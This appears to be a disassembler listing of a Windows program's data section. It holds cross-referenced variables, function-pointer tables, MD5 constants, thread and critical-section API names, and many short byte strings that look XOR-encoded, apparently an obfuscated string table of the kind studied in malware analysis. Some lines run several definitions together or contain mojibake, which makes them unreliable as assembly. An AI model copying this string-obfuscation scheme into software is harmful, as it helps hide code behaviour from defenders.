align 4
dword_551218 dd 1 ; sub_43B946+1ACr ...
dword_55121C dd 0 ; sub_43B045+383r ...
word_551220 dw 1 ; DATA XREF: sub_43B045+2DFr
; sub_43CD37+980r ...
align 4
word_551224 dw 2 ; DATA XREF: sub_43A985+289r
; sub_43B045+53Er ...
align 4
word_551228 dw 6 ; DATA XREF: sub_43B045+28Dr
; sub_43B045+5CAr ...
align 4
dword_55122C dd 1 ; sub_43AEDD:loc_43AF05r ...
dword_551230 dd 5 ; sub_43B045+3EBr ...
word_551234 dw 4 ; DATA XREF: sub_43A646+5Dr
; sub_43A646+1B4r ...
align 4
dword_551238 dd 9 ; sub_43B045+627r ...
word_55123C dw 3 ; DATA XREF: sub_43A985+2C2r
; sub_43BCD9+8Br ...
align 10h
word_551240 dw 1 ; DATA XREF: sub_43AEDD+43r
; sub_43B045+228r ...
align 4
dword_551244 dd 7 ; sub_43C506+C6r ...
dword_551248 dd 4 ; sub_43B045+1CEr ...
dword_55124C dd 5 ; sub_43B045:loc_43B1E6r ...
dword_551250 dd 2 ; sub_43A646+18Cr ...
word_551254 dw 8 ; DATA XREF: sub_43A646+20Ar
; sub_43CD37+107r ...
align 4
dword_551258 dd 1 ; sub_43B045+2A4r ...
dword_55125C dd 5 ; sub_43C10A+1AFr ...
word_551260 dw 9 ; DATA XREF: sub_43B045+235r
; sub_43B045+249r ...
align 4
dword_551264 dd 3 ; sub_43BDAA+156r ...
word_551268 dw 3 ; DATA XREF: sub_43A929+16r
; sub_43AEDD+EAr ...
align 4
dword_55126C dd 8 ; sub_43BDAA+40r ...
dword_551270 dd 5 ; sub_43B045+673r ...
word_551274 dw 1 ; DATA XREF: sub_43A646+30r
; sub_43B045+592r ...
align 4
dword_551278 dd 0 ; sub_43AC94+1Ew ...
dword_55127C dd 0 ; sub_43F4C7+26Br ...
dword_551280 dd 0 ; sub_43B004+20r ...
dword_551284 dd 0 ; sub_441EAC+13w ...
dword_551288 dd 0 ; sub_43A8C0+2Br ...
dword_55128C dd 0 ; sub_44018C+29r ...
dword_551290 dd 0 ; sub_441DD6+26r ...
dword_551294 dd 0 ; sub_43E9BF+13w ...
dword_551298 dd 0 ; sub_444A15+13w ...
dword_55129C dd 0 ; sub_443F15+29r ...
dword_5512A0 dd 0 ; sub_445BAD+13w ...
dword_5512A4 dd 0 ; sub_43F26D+20r ...
dword_5512A8 dd 0 ; sub_43E429+22r ...
dword_5512AC dd 0 ; sub_43BC51+3Ew ...
dword_5512B0 dd 0 ; sub_43BCA0+24r ...
dword_5512B4 dd 0 ; sub_43FCCD+153w ...
dword_5512B8 dd 0 ; sub_43C10A+33Dw ...
dword_5512BC dd 0 ; sub_43F79F:loc_43F901r ...
off_5512C0 dd offset sub_441A81 ; DATA XREF: sub_4441D8+6B6o
dd offset sub_43AFED
dd offset sub_442FE6
dd offset sub_43F265
dd offset sub_445692
dd offset sub_43E489
dd offset sub_442DEC
dword_5512DC dd 0 ; sub_441AE5+1A3w ...
off_5512E0 dd offset sub_43B7D4 ; DATA XREF: .data:off_5512FCo
dd offset sub_4464CE
dd offset sub_43A57A
dd offset sub_4478DB
dd offset sub_43E9B7
dd offset sub_440306
dd offset sub_4457CD
off_5512FC dd offset off_5512E0 ; DATA XREF: sub_43A324+15Co
; sub_43FA13+BFo
dword_551300 dd 0 ; sub_43A324+ADr ...
off_551304 dd offset sub_43E94C ; DATA XREF: .data:off_551320o
dd offset sub_43DF1B
dd offset sub_44715A
dd offset sub_447187
dd offset sub_43A8A8
dd offset sub_43EC8C
dd offset sub_43FA13
off_551320 dd offset off_551304 ; DATA XREF: sub_43A324:loc_43A506o
dword_551324 dd 0D76AA478h, 0E8C7B756h, 242070DBh, 0C1BDCEEEh, 0F57C0FAFh
; DATA XREF: sub_43B045+2Fo
dd 4787C62Ah, 0A8304613h, 0FD469501h, 698098D8h, 8B44F7AFh
dd 0FFFF5BB1h, 895CD7BEh, 6B901122h, 0FD987193h, 0A679438Eh
dd 49B40821h
dword_551364 dd 0F61E2562h, 0C040B340h, 265E5A51h, 0E9B6C7AAh, 0D62F105Dh
; DATA XREF: sub_43B045+3Fo
dd 2441453h, 0D8A1E681h, 0E7D3FBC8h, 21E1CDE6h, 0C33707D6h
dd 0F4D50D87h, 455A14EDh, 0A9E3E905h, 0FCEFA3F8h, 676F02D9h
dd 8D2A4C8Ah
dword_5513A4 dd 0FFFA3942h, 8771F681h, 6D9D6122h, 0FDE5380Ch, 0A4BEEA44h
; DATA XREF: sub_43B045+52o
dd 4BDECFA9h, 0F6BB4B60h, 0BEBFBC70h, 289B7EC6h, 0EAA127FAh
dd 0D4EF3085h, 4881D05h, 0D9D4D039h, 0E6DB99E5h, 1FA27CF8h
dd 0C4AC5665h
dword_5513E4 dd 0F4292244h, 432AFF97h, 0AB9423A7h, 0FC93A039h, 655B59C3h
; DATA XREF: sub_43B045+65o
dd 8F0CCC92h, 0FFEFF47Dh, 85845DD1h, 6FA87E4Fh, 0FE2CE6E0h
dd 0A3014314h, 4E0811A1h, 0F7537E82h, 0BD3AF235h, 2AD7D2BBh
dd 0EB86D391h
off_551424 dd offset loc_44294B ; DATA XREF: sub_4427A1+1A3r
dd offset loc_442956
dd offset loc_4429A7
dd offset loc_4429FD
aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_444B66+331o
aCreatethread db 'CreateThread',0 ; DATA XREF: sub_444B66+34Bo
aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_444B66+35Eo
aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_444B66+371o
align 4
dword_551488 dd 0E1C40005h, 98B7E1B7h db 0
byte_551491 db 5, 0, 16h ; DATA XREF: sub_44757D+1E7o
a3e3ej db '3e3eJ',0
word_55149A dw 3 ; DATA XREF: sub_44757D+B0o
dd 41184E6Bh
db 0
byte_5514A1 db 4, 0, 99h ; DATA XREF: sub_44757D+67o
dd 0C5A3FABCh
db 0
byte_5514A9 db 1, 0, 1Ch ; DATA XREF: sub_447336+1EFo
db 60h, 0
word_5514AE dw 5Ah ; DATA XREF: sub_447336+DCo
db 9
db 48h, 2 dup(6Ah)
db 66h ; f
db 7Ch, 67h, 7Dh
db 29h ; )
db 47h, 68h, 64h
db 6Ch ; l
db 2Ah, 59h, 46h
db 59h ; Y
db 3Ah, 29h, 5Ah
db 6Ch ; l
db 7Bh, 7Fh, 6Ch
db 7Bh ; {
db 2Ah, 5Ah, 44h
db 5Dh ; ]
db 59h, 29h, 5Ah
db 6Ch ; l
db 7Bh, 7Fh, 6Ch
aZdYMZyehpGhdlZ db '{*ZD]Y)M`zyehp)Ghdl*ZD]Y)Ldh`e)Hmm{lzz*YFY:)\zl{)Ghdl**',0
dword_55150C dd 0F2A2000Eh, 8291F2EDh, 0D1D1C3F2h, 0C6D0CDD5h db 90h, 0
word_55151E dw 39h ; DATA XREF: sub_447336:loc_447356o
dd 333A2675h, 27342221h, 1C382930h, 61A0716h, 2901131Ah
dd 10011B3Ch, 1101B07h, 16163455h, 11B001Ah, 1B143855h
dd 7101214h, 16163429h, 11B001Ah, 45502906h
db 4Dh, 0Dh, 0
byte_55155B db 5 ; DATA XREF: sub_446E8A+27Do
dd 9FC9EC00h, 9FC9B0h
dword_551564 dd 24010005h, 72245D72h db 0
byte_55156D db 4, 0, 84h ; DATA XREF: sub_446E8A+17o
dd 0AED8F7A1h
db 0
byte_551575 db 7, 0, 0E4h ; DATA XREF: sub_446E57+1Ao
aCfcnkrv db '—”–Š‚',0
dword_551580 dd 0ACF30006h, 96969F80h db 83h, 0
word_55158A dw 4 ; DATA XREF: sub_4467C4+59Co
dd 12175D73h
db 7, 0
word_551592 dw 0Bh ; DATA XREF: sub_4467C4+545o
aTxWLdd db 8,'Tx-}W-}&ldd',0
byte_5515A1 db 2, 0, 0A8h ; DATA XREF: sub_446555+14Ao
db 2 dup(88h), 0
byte_5515A7 db 1 ; DATA XREF: sub_446555:loc_446659o
dd 200F00h
dword_5515AC dd 81EC0012h, 80988F9Fh, 989FB39Fh, 9F99988Dh, 0DF9E8D8Eh
; DATA XREF: sub_446555:loc_4465AFo
db 0DEh, 0
word_5515C2 dw 0Eh ; DATA XREF: sub_446555+10o
aAMpDgivObmuu db 'í¹Œº„ƒ‰‚š®Œ',0
dword_5515D4 dd 692F000Eh, 694B4146h, 5B5C5D46h, 4A434669haN: ; DATA XREF: sub_445E14+387o
unicode 0, <n>
dw 9
dw 0FDBBh
dw 0D5D2h
dd 0D4D7F8DFh
db 0C8h, 0DEh, 0
byte_5515F3 db 0Dh ; DATA XREF: sub_445E14+372o
dd 5B793E00h, 4C5B684Ah, 5051574Dh, 7F467Bh
dword_551604 dd 0C2950013h, 0D6F0F1FCh, 0C1E7F4FDh, 0F9E0D8FAh, 0ECD7FCE1h
; DATA XREF: sub_445E14+35Do
db 0E1h, 0F0h, 0
byte_55161B db 0Bh ; DATA XREF: sub_445E14+348o
dd 60511200h, 77667377h, 777E7B54h
db 53h, 0
word_55162A dw 0Bh ; DATA XREF: sub_445E14+333o
dd 25300F40h, 2F32102Eh, 33332523h
db 0
byte_551639 db 0Dh, 0, 0F9h ; DATA XREF: sub_445E14+31Eo
aLnxgLcFcla db '«•£œ‹–´œ”–‹€',0
asc_55164A db 7,0 ; DATA XREF: sub_445E14+309o
aEbitio db ',{EBiTIO',0
byte_551655 db 12h, 0, 0CEh ; DATA XREF: sub_445E14+2F4o
aIlNLaJLpkzk db '‰«º»¼¼« ºš¦¼«¯ª‡ª',0
asc_55166B db 9,0 ; DATA XREF: sub_445E14+2DFo
db 1Ah, 59h, 75h
dd 735C636Ah, 5B7F76h
dword_551678 dd 6320000Ch, 54414552h, 54556D45h, 615845hdword_551688 dd 0C98E0010h, 0E1CDFAEBh, 0FAFBFEE3h, 0EFC0FCEBh, 0CFEBE3h
; DATA XREF: sub_445E14+2B5o
dword_55169C dd 184B000Eh, 220D3F2Eh, 241B2E27h, 2E3F2522h db 39h, 0
word_5516AE dw 13h ; DATA XREF: sub_445E14+28Bo
dd 37260443h, 37303A10h, 2A072E26h, 37202631h, 23A312Ch
db 0
byte_5516C5 db 0Dh, 0, 8Dh ; DATA XREF: sub_445E14+276o
dd 0C9F9E8CAh, 0E8FBE4FFh, 0E8FDF4D9h
db 0CCh, 0
word_5516D6 dw 0Ch ; DATA XREF: sub_445E14+261o
dd 4C5D7F38h, 48555D6Ch, 504C5968h
aY: ; DATA XREF: sub_445E14+24Co
unicode 0, <y>
dw 0Dh
dw 0E6A1h
dw 0D5C4h
dd 0D5D2D8F2h, 0C8F5CCC4h
db 0CCh, 0C4h, 0
byte_5516F7 db 15h ; DATA XREF: sub_445E14+237o
dd 0DEFCBB00h, 0D7D4EDCFh, 0F2DED6CEh, 0C9D4DDD5h, 0D2CFDAD6h
dd 0FAD5D4h
dword_551710 dd 86C00014h, 94A5ACA9h, 94A5ADA9h, 0B3B993AFh, 94ADA5B4h
; DATA XREF: sub_445E14+222o
dd 0A5ADA9h
dword_551728 dd 337E0013h, 170A120Bh, 1B0A073Ch, 1729112Ah, 163D1B1Ah
; DATA XREF: sub_445E14+20Do
db 1Fh, 0Ch, 0
byte_55173F db 14h ; DATA XREF: sub_445E14+1F8o
dd 6B4C0500h, 69776071h, 606E666Ah, 66604161h, 60686077h
db 6Bh, 71h, 0
byte_551757 db 9 ; DATA XREF: sub_445E14+1E3o
dd 0BD9ED200h, 94BEB3B1h, 0B7B7A0h
dword_551764 dd 0EFAB000Bh, 0DFCEC7CEh, 0C7C2EDCEh db 0CEh, 0EAh, 0
byte_551773 db 8 ; DATA XREF: sub_445E14+1B9o
dd 3D224E00h, 2B223C3Ah
db 20h, 19h, 0
byte_55177F db 0Ah ; DATA XREF: sub_445E14+1A4o
dd 76551900h, 5875787Ah, 7A767575h
db 0
byte_55178D db 0Bh, 0, 38h ; DATA XREF: sub_445E14+18Fo
aJTqzjyja db '~J]]tQZJYJA',0
asc_55179C db 0Bh,0 ; DATA XREF: sub_445E14+17Ao
a5rpasYpfOp db '5rPAs\YPf\OP',0
byte_5517AB db 0Ch ; DATA XREF: sub_445E14+165o
dd 43B6D00h, 0C18191Fh, 1012C01h
db 2, 0Eh, 0
byte_5517BB db 0Ch ; DATA XREF: sub_445E14+150o
dd 0DAF8BF00h, 0DCD6EBCBh, 0CAD0FCD4h
db 0D1h, 0CBh, 0
byte_5517CB db 0Dh ; DATA XREF: sub_445E14+13Bo
dd 0C9E6A000h, 0C5EEC4CEh, 0C9E6D4D8h, 0E1C5CCh
dword_5517DC dd 0E8A10014h, 0D3C4D5CFh, 0CAC2CECDh, 0CFE8C5C4h, 0CCC4D3C2h
; DATA XREF: sub_445E14+126o
dd 0D5CFC4h
dword_5517F4 dd 2E6D000Fh, 0C1D0002h, 42B081Fh, 4390801h db 0, 8, 0
byte_551807 db 13h ; DATA XREF: sub_445E14+FCo
dd 7E481F00h, 70596B76h, 71764C6Dh, 507A7378h, 7C7A757Dh
db 6Bh, 0
word_55181E dw 0Eh ; DATA XREF: sub_445E14+E7o
aUilVbnpvlzaibp db 'î©‹š¢‚‹§€ˆ¯',0
dword_551830 dd 0B3F40013h, 81B78091h, 9A918686h, 9B86A480h, 87879197h
; DATA XREF: sub_445E14+D2o
db 0BDh, 90h, 0
byte_551847 db 12h ; DATA XREF: sub_445E14+BDo
dd 391B5C00h, 38331128h, 1A393029h, 12393035h, 1D39313Dh
db 0
byte_55185D db 8, 0, 5Ch ; DATA XREF: sub_445E14+A8o
dd 383D390Eh, 3930351Ah
db 0
byte_551869 db 0Ah, 0, 0CAh ; DATA XREF: sub_445E14+93o
aPGUvPlo db '²£¾¢¸¯«®',0
byte_551877 db 17h ; DATA XREF: sub_445E14+7Eo
dd 89BDFB00h, 95BE9E9Eh, 9489928Dh, 959E9695h, 898FA88Fh
dd 889C9592h
db 0BAh, 0
word_551892 dw 11h ; DATA XREF: sub_445E14+69o
dd 0DDCCEEA9h, 0DDC0D1ECh, 0CCCDC6EAh, 0CCDBC1FDh
db 0C8h, 0CDh, 0
byte_5518A7 db 0Bh ; DATA XREF: sub_445E14+54o
dd 714E1800h, 796D6C6Ah, 7D6A5E74h
db 7Dh, 0
word_5518B6 dw 9 ; DATA XREF: sub_445E14+3Fo
dd 12092C7Bh, 123D1E0Fh
db 17h, 1Eh, 0
byte_5518C3 db 0Ch ; DATA XREF: sub_445E14+2Ao
dd 53653600h, 44447342h, 597B4459h
db 52h, 53h, 0
byte_5518D3 db 11h ; DATA XREF: sub_445E14+15o
dd 0AB89CE00h, 0BDA78ABAh, 0ABBC88A5h, 0AFBE9DABh, 8FABADh
dword_5518E8 dd 98DF0016h, 0B19AABBAh, 0B0ADB6A9h, 0B1BAB2B1h, 0ADAB8CABh
; DATA XREF: sub_445E14o
dd 0ACB8B1B6h
db 9Eh, 0
word_551902 dw 0Ch ; DATA XREF: sub_445BAD+16Bo
a_noi_htW_ db ':}_NoI_Ht[W_{',0
word_551912 dw 15h ; DATA XREF: sub_445BAD+156o
aZvmTingicPPkgb db 'Ƈ¢¬³µ²’©£¨–´¯°¯ª£¡£µ',0
byte_55192B db 12h ; DATA XREF: sub_445BAD+141o
dd 0E3C18600h, 0E2EFD5F2h, 0C7E4F3D5h, 0E9EEF2F3h, 0FFF2EFF4h
db 0
byte_551941 db 0Dh, 0, 22h ; DATA XREF: sub_445BAD+12Co
aPgemrgligGzc db 'pGEmRGLiG[gZc',0
asc_551952 db 0Bh,0 ; DATA XREF: sub_445BAD+117o
dd 63615604h, 776B6847h, 7D614F61h
db 0
byte_551961 db 15h, 0, 0AAh ; DATA XREF: sub_445BAD+102o
dd 0C1C5C5E6h, 0D8FADADFh, 0C6C3DCC3h, 0FCCFCDCFh, 0CFDFC6CBh
db 0EBh, 0
word_55197A dw 10h ; DATA XREF: sub_445BAD+EDo
aUb@vrbuQfkrbb_ db 27h,'uB@vRBU^qFKRBb_f',0
word_55198E dw 19h ; DATA XREF: sub_445BAD+D8o
dd 60714714h, 61777147h, 6D607D66h, 77677150h, 60647D66h
dd 7550667Bh
db 77h, 78h, 0
byte_5519AB db 1Ch ; DATA XREF: sub_445BAD+C3o
dd 40672E00h, 4F475A47h, 4B544742h, 5B4D4B7Dh, 575A475Ch
dd 4D5D4B6Ah, 5A5E475Ch
db 41h, 5Ch, 0
byte_5519CB db 10h ; DATA XREF: sub_445BAD+AEo
dd 88B7F800h, 8AA8969Dh, 8B9D9B97h, 9397AC8Bh
db 9Dh, 96h, 0
byte_5519DF db 10h ; DATA XREF: sub_445BAD+99o
dd 7B4D1E00h, 7277586Ah, 7D7B4D7Bh, 6A776C6Bh
db 67h, 5Fh, 0
byte_5519F3 db 19h ; DATA XREF: sub_445BAD+84o
dd 0EAC88F00h, 0EBE6DCFBh, 0E1EAEBC6h, 0E6E9E6FBh, 0FACEFDEAh
dd 0FDE0E7FBh, 0F6FBE6h
dword_551A10 dd 7A3D0017h, 546E4958h, 5F486E59h, 5549487Ch, 49544F52h
; DATA XREF: sub_445BAD+6Fo
dd 48527E44h
db 53h, 49h, 0
byte_551A2B db 13h ; DATA XREF: sub_445BAD+5Ao
dd 9DBFF800h, 9397AC8Ch, 96B1969Dh, 958A979Eh, 97918C99h
db 96h, 0
word_551A42 dw 1Ah ; DATA XREF: sub_445BAD:loc_445BF2o
dd 8190A6F5h, 809690A6h, 8C819C87h, 968690B1h, 81859C87h
dd 82BA879Ah, 87909Bh
dword_551A60 dd 4322000Ch, 52435446h, 0C10114Bh, 4E4E46hdword_551A70 dd 0C3A2000Ch, 0D2C3D4C6h, 8C9091CBh, 0CECEC6hdword_551A80 dd 0D80000h dword_551A84 dd 86FE0001h db 0
byte_551A89 db 1, 0, 58h ; DATA XREF: sub_444FE7:loc_4454F8o
db 78h, 0
word_551A8E dw 0 ; DATA XREF: sub_444FE7+4C8o
db 0C3h, 0
word_551A92 dw 13h ; DATA XREF: sub_444FE7+4A2o
dd 6E615A0Fh, 2F6A636Dh, 6E2F607Bh, 60677B7Ah, 6A75667Dh
db 0
byte_551AA9 db 35h, 0, 65h ; DATA XREF: sub_444FE7+492o
db 30h ; 0
db 0Bh, 4, 7
db 9
align 2
dw 1145h
db 0Ah
db 45h, 4, 10h
db 11h
db 0Dh, 0Ah, 17h
db 0Ch
db 1Fh, 0, 45h
aHe771e5Ke5 db 'HE,+&*77 &1E5,+KE5',9,0
dd 49001604h, 170A0645h, 11060017h
db 4Bh, 0
word_551AE2 dw 1 ; DATA XREF: sub_444FE7:loc_4452C2o
db 9, 24h, 0
byte_551AE7 db 1Eh ; DATA XREF: sub_444FE7+28Co
dd 320E5E00h, 3B2D3F3Bh, 3B2D7E72h, 2A3D3B32h, 2E261B7Eh
dd 2A3F2C37h, 7E303137h, 2C3F3B07h
db 0
byte_551B09 db 1, 0, 0CAh ; DATA XREF: sub_444FE7:loc_44520Bo
db 0EAh, 0
word_551B0E dw 1Fh ; DATA XREF: sub_444FE7+1CFo
aFibeBsfBibzFbN db 'Ä”¨¡¥·¡èä·¡¨¡§°ä¼´¶¥°«ªä‰«ª°¬',0
byte_551B31 db 4, 0, 1 ; DATA XREF: sub_444A91+68o
a19y db '$19Y',0
asc_551B39 db 0Ah,0 ; DATA XREF: sub_444A15+30o
db 0DFh
dd 80BCB9ACh, 0BBF1ACB0h
db 2 dup(0B3h), 0
byte_551B47 db 0Ah ; DATA XREF: sub_444A15+1o
dd 0CCD9AA00h, 0D9C5F5C9h, 0C6C6CE84h
db 0
byte_551B55 db 4, 0, 0Fh ; DATA XREF: sub_444970+6Fo
aW db '*!=W',0
byte_551B5D db 1, 0, 96h ; DATA XREF: sub_444970:loc_4449CDo
db 0B3h, 0
word_551B62 dw 2 ; DATA XREF: sub_444970:loc_4449AEo
dd 266045h
dword_551B68 dd 1C270003h db 48h, 1Ah, 0
byte_551B6F db 4 ; DATA XREF: sub_4441D8:loc_4444ABo
dd 0ACE4DF00h
db 0B0h, 0E2h, 0
byte_551B77 db 4 ; DATA XREF: sub_4441D8:loc_444461o
dd 83DCE700h
db 0DAh, 0C6h, 0
byte_551B7F db 4 ; DATA XREF: sub_4441D8+248o
dd 59063D00h, 1700h
dword_551B88 dd 3, 32007Bh, 3C0036h db 2 dup(0)
word_551B96 dw 17h ; DATA XREF: sub_443F7C:loc_44418Fo
dd 16501633h, 16501650h, 50161E50h, 2 dup(50165016h), 5E5C501Dh
db 0
byte_551BB1 db 16h, 0, 15h ; DATA XREF: sub_443F7C+1CDo
a0v0v0v0v0v80v0 db '0v0v0v0v0v80v0v0v0v;g`',0
byte_551BCB db 10h ; DATA XREF: sub_443F15:loc_443F5Do
dd 0CDD68500h, 0C3F1E0C2h, 0E0E1E9EAh, 0F1E4D5F7h
db 0EDh, 0C4h, 0
byte_551BDF db 0Bh ; DATA XREF: sub_443F15+31o
dd 11A6900h, 5A05050Ch, 50D475Bh
db 5, 0
word_551BEE dw 0Bh ; DATA XREF: sub_443F15+1o
aJzi db 'µÆİĞÙÙ†‡›ÑÙÙ',0
byte_551BFD db 1, 0, 59h ; DATA XREF: sub_44300F+DCBo
db 25h, 0
word_551C02 dw 2 ; DATA XREF: sub_44300F+D9Fo
dd 0C29EBEh
dword_551C08 dd 457F0001h db 0
byte_551C0D db 4, 0, 37h ; DATA XREF: sub_44300F:loc_443CCDo
dd 0D421217h
db 0
byte_551C15 db 1, 0, 9Fh ; DATA XREF: sub_44300F+771o
db 0E3h, 0
word_551C1A dw 0Ah ; DATA XREF: sub_44300F+539o
dd 0F9839FBFh, 85F2EDF0h, 81CA9Ah
dword_551C28 dd 0E6C6000Bh, 879480FAh, 0E3FC838Bh db 0B3h, 0F8h, 0
byte_551C37 db 0Ah ; DATA XREF: sub_44300F+33Eo
dd 829EBE00h, 0F3FFECF8h, 80F384FBh, 0
dword_551C48 dd 5, 0B000C6h, 0AA00A7h, 0A300B3h, 0dword_551C5C dd 4, 0C500ABh, 0C600CAh, 0CEhdword_551C6C dd 0EB0000h dword_551C70 dd 0D8FD0004h, 0A1C79Ehdword_551C78 dd 85A00006h, 0F8858DF8h db 81h, 0
word_551C82 dw 7 ; DATA XREF: sub_442A78+63o
aCSxpzz db 'Ë—»á寧§',0
align 10h
asc_551C90: ; DATA XREF: sub_4423A6+26Fo
dw 9
unicode 0, <>,0
aM db 'Œ',0
aU db 'î',0
aS db 'é',0
db 'ê',0
aU_0 db 'ã',0
dw 0FEh
dd 0C900E9h, 0E800E2h
db 2 dup(0)
word_551CAA dw 20h ; DATA XREF: sub_4423A6+1F2o
aISSsiGqqiSGSAU db 'ëΘ˘™ˆÖƒŸŸ›ÑÄÄΘԃÖΘÍÖÎÍ›ÖΘÕ',0
aC db 'C',0 ; DATA XREF: sub_4423A6+156o
aZvZAiivSVBVVBV db '§‚Ô‡ÔÕÄšÏÓÓ׈ˆ‚ԘϚ‚ÔΚ‚Ò‚ÔÈš‚ÒÁš‚ÄÔΚ‚ÔÔÈš‚ÒÓËš‚ÒÑš‚ÒÚ'
db '‚Ô™',0
byte_551D15 db 10h, 0, 46h ; DATA XREF: sub_4423A6+E4o
aC5f54C5iyCX db 'c5f54%{c5iy {c%x',0
byte_551D29 db 1Eh, 0, 1Fh ; DATA XREF: sub_4423A6+92o
aVrx?hvKw?wzvxw db '#vrx?hv{kw"/?wzvxwk"/?}pm{zm"/',0
asc_551D4B db 7,0 ; DATA XREF: sub_4423A6+61o
db 0F2h, 0CEh, 90h
aR db 'ÌÎİÌ',0
asc_551D56 db 0Ah,0 ; DATA XREF: sub_44234E+3Fo
dd 0D4C1FEB1h, 0C5C4FCDFh, 0F0C9D4h
dword_551D64 dd 0E1AD000Ch, 0E1C9CCC2h, 0CCDFCFC4h, 0ECD4DFhdword_551D74 dd 5D1E000Bh, 7B6D7172h, 7A707F56h db 72h, 7Bh, 0
byte_551D83 db 10h ; DATA XREF: sub_44234Eo
dd 9BB9FE00h, 9A91B38Ah, 0B69B928Bh, 929A909Fh
db 9Bh, 0BFh, 0
byte_551D97 db 40h ; DATA XREF: sub_4421CF:loc_442207o
dd 0D4D79600h, 0D0D3D2D5h, 0DCDFDED1h, 0D8DBDADDh, 0C4C7C6D9h
dd 0C0C3C2C5h, 0CCCFCEC1h, 0F2F5F4F7h, 0FEF1F0F3h, 0FAFDFCFFh
dd 0E6F9F8FBh, 0E2E5E4E7h, 0EEE1E0E3h, 0A7A6ECEFh, 0A3A2A5A4h
dd 0AFAEA1A0h
db 0BDh, 0B9h, 0
byte_551DDB db 0Ah ; DATA XREF: sub_441EAC+22Bo
dd 0BF9DD000h, 0B987B5A6h, 0A7BFB4BEh
db 0
byte_551DE9 db 0Eh, 0, 0F6h ; DATA XREF: sub_441EAC+216o
aUvbqstsbSss db '±“‚¡Ÿ˜’™º™˜‘·',0
byte_551DFB db 0Eh ; DATA XREF: sub_441EAC+201o
dd 6B490E00h, 6067597Ah, 5A79616Ah, 4F7A766Bh
db 0
byte_551E0D db 0Eh, 0, 83h ; DATA XREF: sub_441EAC+1ECo
dd 0D4F7E6D0h, 0ECE7EDEAh, 0FBE6D7F4h
db 0F7h, 0C2h, 0
byte_551E1F db 8 ; DATA XREF: sub_441EAC+1D7o
dd 0C3F5A600h, 0CBCFF2D2h
db 0C3h, 0D4h, 0
byte_551E2B db 0Fh ; DATA XREF: sub_441EAC+1C2o
dd 44662500h, 4C724949h, 524A414Bh, 464A5775h
db 64h, 0
word_551E3E dw 0Bh ; DATA XREF: sub_441EAC+1ADo
dd 25331B56h, 33313725h, 172E3914h
db 0
byte_551E4D db 8, 0, 86h ; DATA XREF: sub_441EAC+198o
dd 0C0F2E3D5h, 0F5F3E5E9h
db 0
byte_551E59 db 0Fh, 0, 7Eh ; DATA XREF: sub_441EAC+183o
dd 1F1B0C3Dh, 17291B0Ah, 9111A10h, 3F063Bh
dword_551E6C dd 0EEBD000Eh, 0D4EAC9D8h, 0CAD2D9D3h, 0DAD3D2F1h
; DATA XREF: sub_441EAC+16Eo
db 0FCh, 0
word_551E7E dw 0Dh ; DATA XREF: sub_441EAC+159o
dd 9691BEF8h, 9691AF9Ch, 0BD8F979Ch
db 80h, 0B9h, 0
byte_551E8F db 12h ; DATA XREF: sub_441EAC+144o
dd 9EB5F000h, 95B49D85h, 9F849B83h, 9E99A780h, 83879F94h
db 0
byte_551EA5 db 0Dh, 0, 87h ; DATA XREF: sub_441EAC+12Fo
dd 0F3F4E2C3h, 0D0FEE8F5h, 0E8E3E9EEh
db 0F0h, 0
word_551EB6 dw 0Eh ; DATA XREF: sub_441EAC+11Ao
aPonVepdIDik db 'Ë®œ¢¥¯¤¼›¹¤¨Š',0
dword_551EC8 dd 0AEFA0010h, 89949B88h, 9F8E9B96h, 89899FB7h, 9F9D9Bh
; DATA XREF: sub_441EAC+105o
dword_551EDC dd 1C5B000Dh, 37182F3Eh, 1528283Ah, 1A3E363Ah db 0
byte_551EED db 0Ch, 0, 0C4h ; DATA XREF: sub_441EAC+DBo
aCbkaibEgbe db '—¡ª ‰¡··¥£¡…',0
byte_551EFD db 0Eh, 0, 8Eh ; DATA XREF: sub_441EAC+C6o
dd 0E7E9EBDCh, 0FCEBFAFDh, 0FDEFE2CDh
db 0FDh, 0CFh, 0
byte_551F0F db 0Bh ; DATA XREF: sub_441EAC+B1o
dd 0F5D79000h, 0E3F5DDE4h, 0F5F7F1E3h
db 0D1h, 0
word_551F1E dw 0Dh ; DATA XREF: sub_441EAC+9Co
dd 0FFEECC8Bh, 0EFE5E2DCh, 0EED9FCE4h
db 0E8h, 0FFh, 0
byte_551F2F db 13h ; DATA XREF: sub_441EAC+87o
dd 3F1D5A00h, 28351C2Eh, 35283D3Fh, 0D3E342Fh, 353E3433h
db 2Dh, 0
word_551F46 dw 0Ah ; DATA XREF: sub_441EAC+72o
dd 76714A19h, 77704E6Eh, 6E767Dh
dword_551F54 dd 0BEFA0010h, 9B8A8993h, 0B792998Eh, 9B89899Fh, 0BB9F9Dh
; DATA XREF: sub_441EAC+5Do
dword_551F68 dd 4430009h, 2A143726h, 342C272Dh db 0
byte_551F75 db 0Ah, 0, 87h ; DATA XREF: sub_441EAC+31o
dd 0F5E2F4F2h, 0E3A9B5B4h
db 2 dup(0EBh), 0
byte_551F83 db 0Ah ; DATA XREF: sub_441EAC+1o
dd 32344100h, 73723324h, 2D2D256Fh
db 0
byte_551F91 db 0Ch, 0, 1Bh ; DATA XREF: sub_441DD6+B5o
aMzirzuoxwZi db 'MzirzuoXw~zi',0
asc_551FA1 db 0Dh,0 ; DATA XREF: sub_441DD6+99o
aITsnsooQsvem db '븒˜™¸Ÿ™‚…Œ',0
word_551FB2 dw 0Ch ; DATA XREF: sub_441DD6+7Do
aCAgfZgB db 'Ó—º £”¶§ƒ²¡²¾',0
asc_551FC2 db 0Bh,0 ; DATA XREF: sub_441DD6+61o
aEBZZ db 'Ó…²¡º²½§š½º§',0
byte_551FD1 db 0Eh, 0, 8 ; DATA XREF: sub_441DD6:loc_441E1Bo
aQIddgkZafo db '[q{Iddgk[|zafo',0
byte_551FE3 db 0Ch ; DATA XREF: sub_441DD6+2Eo
dd 0EDEE8100h, 0F5F4E0E4h, 0E5AFB3B2h
db 2 dup(0EDh), 0
byte_551FF3 db 0Ch ; DATA XREF: sub_441DD6+1o
dd 74771800h, 6C6D797Dh, 7C362A2Bh
db 2 dup(74h), 0
byte_552003 db 1 ; DATA XREF: sub_441D71+2Co
dd 257900h
dword_552008 dd 7C59000Fh, 3F3D052Ah, 232C7C35h, 3D776B6Ah db 2 dup(35h), 0
byte_55201B db 0Bh ; DATA XREF: sub_441AE5+C9o
dd 83D5F000h, 0D583D5ACh, 9C9EDE85h
db 83h, 0
